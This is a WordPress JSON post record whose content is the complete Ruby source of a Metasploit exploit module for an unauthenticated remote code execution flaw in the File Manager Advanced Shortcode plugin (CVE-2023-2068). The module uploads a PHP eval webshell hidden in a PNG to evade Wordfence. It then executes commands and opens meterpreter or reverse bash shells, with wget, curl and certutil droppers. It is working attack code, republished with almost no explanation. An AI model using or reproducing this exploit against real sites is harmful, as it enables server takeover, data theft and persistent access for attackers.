{"id":45593,"date":"2023-07-25T19:10:12","date_gmt":"2023-07-25T15:10:12","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/173735\/wp_plugin_fma_shortcode_unauth_rce.rb.txt"},"modified":"2023-07-28T00:17:15","modified_gmt":"2023-07-27T19:47:15","slug":"wordpress-file-manager-advanced-shortcode-2-3-2-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-file-manager-advanced-shortcode-2-3-2-remote-code-execution\/","title":{"rendered":"WordPress File Manager Advanced Shortcode 2.3.2 Remote Code Execution"},"content":{"rendered":"<p>##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>\ninclude Msf::Exploit::CmdStager<br \/>\ninclude Msf::Exploit::FileDropper<br \/>\ninclude Msf::Exploit::Format::PhpPayloadPng<br \/>\ninclude Msf::Exploit::Remote::HTTP::Wordpress<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Wordpress File Manager Advanced Shortcode 2.3.2 &#8211; Unauthenticated Remote Code Execution through shortcode&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThe Wordpress plugin does not adequately prevent uploading files with disallowed MIME types when using the shortcode.<br \/>\nThis leads to RCE in cases where the allowed MIME type list does not include PHP files.<br \/>\nIn the worst case, this is available to unauthenticated users, but is also works in an authenticated configuration.<br \/>\nFile Manager Advanced Shortcode plugin version `2.3.2` and lower are vulnerable.<br \/>\nTo install the Shortcode plugin File Manager Advanced version `5.0.5` or lower is required to keep the configuration<br \/>\nvulnerable. Any user privileges can exploit this vulnerability which results in access to the underlying operating system<br \/>\nwith the same privileges under which the Wordpress web services run.<br \/>\n},<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;h00die-gr3y &lt;h00die.gr3y[at]gmail.com&gt;&#8217;, # Metasploit module<br \/>\n&#8216;Mateus Machado Tesser&#8217; # discovery<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;CVE&#8217;, &#8216;2023-2068&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/JncRCWZ5xm\/cve-2023-2068&#8217;],<br \/>\n[&#8216;PACKETSTORM&#8217;, &#8216;172707&#8217;],<br \/>\n[&#8216;WPVDB&#8217;, &#8217;58f72953-56d2-4d86-a49b-311b5fc58056&#8242;]\n],<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Platform&#8217; =&gt; [&#8216;windows&#8217;, &#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;php&#8217;],<br \/>\n&#8216;Privileged&#8217; =&gt; false,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64],<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;PHP&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;php&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_PHP,<br \/>\n&#8216;Type&#8217; =&gt; :php,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;php\/meterpreter\/reverse_tcp&#8217;<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Unix Command&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Type&#8217; =&gt; :unix_cmd,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse_bash&#8217;<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Linux Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_X64, ARCH_X86, ARCH_AARCH64],<br \/>\n&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>\n&#8216;Linemax&#8217; =&gt; 65535,<br \/>\n&#8216;CmdStagerFlavor&#8217; =&gt; [&#8216;wget&#8217;, &#8216;curl&#8217;, &#8216;printf&#8217;, &#8216;bourne&#8217;],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Windows Command&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Type&#8217; =&gt; :windows_cmd,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/windows\/powershell\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Windows Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_X64, ARCH_X86],<br \/>\n&#8216;Type&#8217; =&gt; :windows_dropper,<br \/>\n&#8216;Linemax&#8217; =&gt; 3000,<br \/>\n&#8216;CmdStagerFlavor&#8217; =&gt; [&#8216;psh_invokewebrequest&#8217;, &#8216;vbs&#8217;, &#8216;debug_asm&#8217;, &#8216;debug_write&#8217;, &#8216;certutil&#8217;],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;windows\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>\n}<br \/>\n}<br \/>\n]\n],<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-05-31&#8217;,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;SSL&#8217; =&gt; false,<br \/>\n&#8216;RPORT&#8217; =&gt; 80<br \/>\n},<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK, IOC_IN_LOGS],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options(<br \/>\n[<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;File Manager Advanced (FMA) Shortcode URI path&#8217;, &#8216;\/&#8217;]),<br \/>\nOptString.new(&#8216;WEBSHELL&#8217;, [<br \/>\nfalse, &#8216;The name of the webshell with extension php. Webshell name will be randomly generated if left unset.&#8217;, nil<br \/>\n]),<br \/>\nOptEnum.new(&#8216;COMMAND&#8217;,<br \/>\n[true, &#8216;Use PHP command function&#8217;, &#8216;passthru&#8217;, %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])<br \/>\n]\n)<br \/>\nend<\/p>\n<p>def get_form_data(png_webshell)<br \/>\n# construct multipart form data<br \/>\nform_data = Rex::MIME::Message.new<br \/>\nform_data.add_part(&#8221;, nil, nil, &#8216;form-data; name=&#8221;reqid&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;upload&#8217;, nil, nil, &#8216;form-data; name=&#8221;cmd&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;l1_Lw&#8217;, nil, nil, &#8216;form-data; name=&#8221;target&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;fma_load_shortcode_fma_ui&#8217;, nil, nil, &#8216;form-data; name=&#8221;action&#8221;&#8216;)<br \/>\nform_data.add_part(@wp_data[&#8216;fmakey&#8217;].to_s, nil, nil, &#8216;form-data; name=&#8221;_fmakey&#8221;&#8216;)<br \/>\nform_data.add_part(@upload_path.to_s, nil, nil, &#8216;form-data; name=&#8221;path&#8221;&#8216;)<br \/>\nform_data.add_part(&#8221;, nil, nil, &#8216;form-data; name=&#8221;url&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;false&#8217;, nil, nil, &#8216;form-data; name=&#8221;w&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;true&#8217;, nil, nil, &#8216;form-data; name=&#8221;r&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;plugins&#8217;, nil, nil, &#8216;form-data; name=&#8221;hide&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;upload,download&#8217;, nil, nil, &#8216;form-data; name=&#8221;operations&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;inside&#8217;, nil, nil, &#8216;form-data; name=&#8221;path_type&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;no&#8217;, nil, nil, &#8216;form-data; name=&#8221;hide_path&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;no&#8217;, nil, nil, &#8216;form-data; name=&#8221;enable_trash&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;image\/png,text\/x-php&#8217;, nil, nil, &#8216;form-data; name=&#8221;upload_allow&#8221;&#8216;)<br \/>\nform_data.add_part(&#8216;2G&#8217;, nil, nil, &#8216;form-data; name=&#8221;upload_max_size&#8221;&#8216;)<br \/>\nform_data.add_part(png_webshell.to_s, &#8216;image\/png, text\/x-php&#8217;, &#8216;binary&#8217;, &#8220;form-data; name=\\&#8221;upload[]\\&#8221;; filename=\\&#8221;#{@webshell_name}\\&#8221;&#8221;)<br \/>\nform_data.add_part(&#8221;, nil, nil, &#8216;form-data; name=&#8221;mtime[]&#8221;&#8216;)<br \/>\nreturn form_data<br \/>\nend<\/p>\n<p>def upload_webshell<br \/>\n# randomize file name if option WEBSHELL is not set<br \/>\n@webshell_name = (datastore[&#8216;WEBSHELL&#8217;].blank? ? &#8220;#{Rex::Text.rand_text_alpha(8..16)}.php&#8221; : datastore[&#8216;WEBSHELL&#8217;].to_s)<\/p>\n<p>@post_param = Rex::Text.rand_text_alphanumeric(1..8)<br \/>\n@get_param = Rex::Text.rand_text_alphanumeric(1..8)<\/p>\n<p>payload = if target[&#8216;Type&#8217;] == :php<br \/>\n&#8220;&lt;?php @eval(base64_decode($_POST[\\&#8217;#{@post_param}\\&#8217;]));?&gt;&#8221;<br \/>\nelse<br \/>\n&#8220;&lt;?=$_GET[\\&#8217;#{@get_param}\\&#8217;](base64_decode($_POST[\\&#8217;#{@post_param}\\&#8217;]));?&gt;&#8221;<br \/>\nend<\/p>\n<p># inject PHP payload into the PLTE chunk of the PNG image to bypass security such as Wordfence<br \/>\npng_webshell = inject_php_payload_png(payload, injection_method: &#8216;PLTE&#8217;)<br \/>\nif png_webshell.nil?<br \/>\nreturn false<br \/>\nend<\/p>\n<p># Upload payload in Wordpress root for execution<br \/>\n# try again at the configured upload directory if LFI fails<br \/>\n@upload_path = &#8221;<br \/>\nno_break = true<br \/>\nloop do<br \/>\nform_data = get_form_data(png_webshell)<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(&#8216;\/&#8217;, @wp_data[&#8216;baseurl&#8217;], &#8216;wp-admin&#8217;, &#8216;admin-ajax.php&#8217;),<br \/>\n&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{form_data.bound}&#8221;,<br \/>\n&#8216;data&#8217; =&gt; form_data.to_s<br \/>\n})<br \/>\nif res &amp;&amp; res.code == 200 &amp;&amp; !res.body.blank?<br \/>\n# parse json to find the webshell name embedded in the response at the &#8220;added&#8221; section that indicates a successful upload<br \/>\nres_json = res.get_json_document<br \/>\nreturn false if res_json.blank?<br \/>\nreturn true if res_json.dig(&#8216;added&#8217;, 0, &#8216;name&#8217;) == @webshell_name<\/p>\n<p># If we face an upload permission error, use the configured upload directory path to upload the payload<br \/>\n# We might not have execution rights there, but at least we can try ;-)<br \/>\nif res_json.dig(&#8216;warning&#8217;, 0) == &#8216;errUploadFile&#8217; &amp;&amp; res_json.dig(&#8216;warning&#8217;, 2) == &#8216;errPerm&#8217; &amp;&amp; no_break<br \/>\n@upload_path = @wp_data[&#8216;path&#8217;]\nno_break = false<br \/>\nelse<br \/>\nreturn false<br \/>\nend<br \/>\nelse<br \/>\nreturn false<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n<p>def execute_php(cmd, _opts = {})<br \/>\npayload = Base64.strict_encode64(cmd)<br \/>\nsend_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(&#8216;\/&#8217;, @wp_data[&#8216;baseurl&#8217;], @upload_path, @webshell_name),<br \/>\n&#8216;ctype&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>\n&#8216;vars_post&#8217; =&gt; {<br \/>\n@post_param =&gt; payload<br \/>\n}<br \/>\n})<br \/>\nend<\/p>\n<p>def execute_command(cmd, _opts = {})<br \/>\npayload = Base64.strict_encode64(cmd)<br \/>\nphp_cmd_function = datastore[&#8216;COMMAND&#8217;]\nsend_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(&#8216;\/&#8217;, @wp_data[&#8216;baseurl&#8217;], @upload_path, @webshell_name),<br \/>\n&#8216;ctype&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>\n&#8216;vars_get&#8217; =&gt; {<br \/>\n@get_param =&gt; php_cmd_function<br \/>\n},<br \/>\n&#8216;vars_post&#8217; =&gt; {<br \/>\n@post_param =&gt; payload<br \/>\n}<br \/>\n})<br \/>\nend<\/p>\n<p>def check_fma_shortcode_plugin<br \/>\n# check if fma shortcode plugin is installed and return fmakey, upload directory path and Wordpress base url<br \/>\n@wp_data = {}<br \/>\nres = send_request_cgi!({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;])<br \/>\n})<br \/>\nif res &amp;&amp; res.body &amp;&amp; res.code == 200<br \/>\n# 1. Get the fmakey information by searching for strings:<br \/>\n# \/_fmakey: &#8216;1555ef603c&#8217;,\/ or \/_fmakey:&#8217;1555ef603c&#8217;,\/ or \/&#8221;fmakey&#8221;:&#8221;1555ef603c&#8221;,\/<br \/>\nfmakey_match1 = res.body.match(\/_fmakey:.*&#8217;.*&#8217;,\/)<br \/>\nfmakey_match2 = res.body.match(\/&#8221;fmakey&#8221;:&#8221;.*&#8221;,\/)<br \/>\nreturn if fmakey_match1.nil? &amp;&amp; fmakey_match2.nil?<\/p>\n<p>if fmakey_match1<br \/>\n@wp_data[&#8216;fmakey&#8217;] = fmakey_match1[0].split(&#8216;,&#8217;)[0].split(&#8216;:&#8217;)[1].tr(&#8216;\\&#8221;, &#8221;).strip<br \/>\nelse<br \/>\n@wp_data[&#8216;fmakey&#8217;] = fmakey_match2[0].split(&#8216;,&#8217;)[0].split(&#8216;:&#8217;)[1].tr(&#8216;&#8221;&#8216;, &#8221;).strip<br \/>\nend<\/p>\n<p># 2. Get the upload directory path information by searching for strings:<br \/>\n# \/path: &#8216;upload&#8217;,\/ or \/path:&#8217;upload&#8217;,\/ or \/&#8221;path&#8221;:&#8221;upload&#8221;,\/<br \/>\npath_match1 = res.body.match(\/path:.*&#8217;.*&#8217;,\/)<br \/>\npath_match2 = res.body.match(\/&#8221;path&#8221;:&#8221;.*&#8221;,\/)<br \/>\nreturn if path_match1.nil? &amp;&amp; path_match2.nil?<\/p>\n<p>if path_match1<br \/>\n@wp_data[&#8216;path&#8217;] = path_match1[0].split(&#8216;,&#8217;)[0].split(&#8216;:&#8217;)[1].tr(&#8216;\\&#8221;, &#8221;).strip<br \/>\nelse<br \/>\n@wp_data[&#8216;path&#8217;] = path_match2[0].split(&#8216;,&#8217;)[0].split(&#8216;:&#8217;)[1].tr(&#8216;&#8221;&#8216;, &#8221;).strip<br \/>\nend<\/p>\n<p># 3. Determine Wordpress baseurl<br \/>\n# search in html content for:<br \/>\n# &lt;script src=&#8217;http(s):\/\/ip\/&lt;wp-base&gt;\/wp-content\/plugins\/file-manager-advanced-shortcode\/js\/shortcode.js?ver=3e7e96fad5e237fb2d5a081c6cb11212&#8242; id=&#8217;fma-shortcode-js-js&#8217;&gt;&lt;\/script&gt;<br \/>\n# split off \/wp-content and http(s):\/\/ip part to determine the &lt;wp-base&gt; which can be empty.<br \/>\nbaseurl_match = res.body.match(%r{src=.*wp-content\/plugins\/file-manager-advanced-shortcode\/})<br \/>\nreturn if baseurl_match.nil?<\/p>\n<p>@wp_data[&#8216;baseurl&#8217;] = baseurl_match[0].split(&#8216;\/wp-content&#8217;)[0].split(&#8216;\/&#8217;)[3]\nend<br \/>\nend<\/p>\n<p>def check<br \/>\nreturn CheckCode::Safe(&#8216;Server not online or not detected as WordPress.&#8217;) unless wordpress_and_online?<\/p>\n<p>check_fma_shortcode_plugin<br \/>\nreturn CheckCode::Safe(&#8220;Could not find fmakey. Shortcode plugin not installed or check your TARGETURI \\&#8221;#{datastore[&#8216;TARGETURI&#8217;]}\\&#8221; setting.&#8221;) if @wp_data[&#8216;fmakey&#8217;].nil?<\/p>\n<p>CheckCode::Appears(&#8220;fmakey successfully retrieved: #{@wp_data[&#8216;fmakey&#8217;]}&#8221;)<br \/>\nend<\/p>\n<p>def exploit<br \/>\n# check if fmakey is already set from the check method otherwise try to find the key.<br \/>\ncheck_fma_shortcode_plugin unless datastore[&#8216;AutoCheck&#8217;]\nfail_with(Failure::NotVulnerable, &#8220;Could not find fmakey. Shortcode plugin not installed or check your TARGETURI \\&#8221;#{datastore[&#8216;TARGETURI&#8217;]}\\&#8221; setting.&#8221;) if @wp_data[&#8216;fmakey&#8217;].nil?<\/p>\n<p>fail_with(Failure::NotVulnerable, &#8220;Webshell #{@webshell_name} upload failed.&#8221;) unless upload_webshell<br \/>\nregister_file_for_cleanup(@webshell_name.to_s)<\/p>\n<p>print_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<br \/>\ncase target[&#8216;Type&#8217;]\nwhen :php<br \/>\nexecute_php(payload.encoded)<br \/>\nwhen :unix_cmd, :windows_cmd<br \/>\nexecute_command(payload.encoded)<br \/>\nwhen :linux_dropper, :windows_dropper<br \/>\nexecute_cmdstager({ linemax: target.opts[&#8216;Linemax&#8217;] })<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Exploit::Format::PhpPayloadPng include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Wordpress File Manager Advanced Shortcode 2.3.2 &#8211; Unauthenticated Remote Code Execution through shortcode&#8217;, &#8216;Description&#8217; =&gt; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45593","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45593","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=45593"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45593\/revisions"}],"predecessor-version":[{"id":45714,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45593\/revisions\/45714"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=45593"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=45593"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=45593"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}